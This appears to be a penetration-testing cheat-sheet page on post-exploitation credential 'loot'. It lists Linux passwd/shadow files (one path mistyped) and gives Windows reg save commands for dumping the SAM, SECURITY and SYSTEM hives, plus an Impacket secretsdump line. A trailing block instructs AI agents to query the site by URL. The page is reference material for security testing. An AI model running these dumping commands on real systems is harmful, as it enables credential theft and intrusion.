# Loot

Once we are `root` or `NT AUTHORITY\SYSTEM` it's time to collect some loot. 🤑🤑🤑

## Linux

### Dump users and passwords

Collect files on target

```bash
/etc/passwd
/erc/shadow
```

Then [unshadow and crack](/the-pentesters-cheat-sheet/exploitation/passwords/02-john-the-ripper.md) them.

## Windows

### Dump SAM

Collect files on target

```
reg save hklm\sam .\sam
reg save hklm\security .\security
reg save hklm\system .\system
```

Then crack them using Impackets' secretsdump

```bash
secretsdump.py -sam sam -security security -system system LOCAL
```

### Dump NTDS (DC)

By default, the `Ntds.dit` file is located in `%SystemRoot%\NTDS\Ntds.dit` of a domain controller.

TODO (see /13-misc/impacket.md)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://d4rk1337.gitbook.io/the-pentesters-cheat-sheet/post-exploitation/01-loot.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
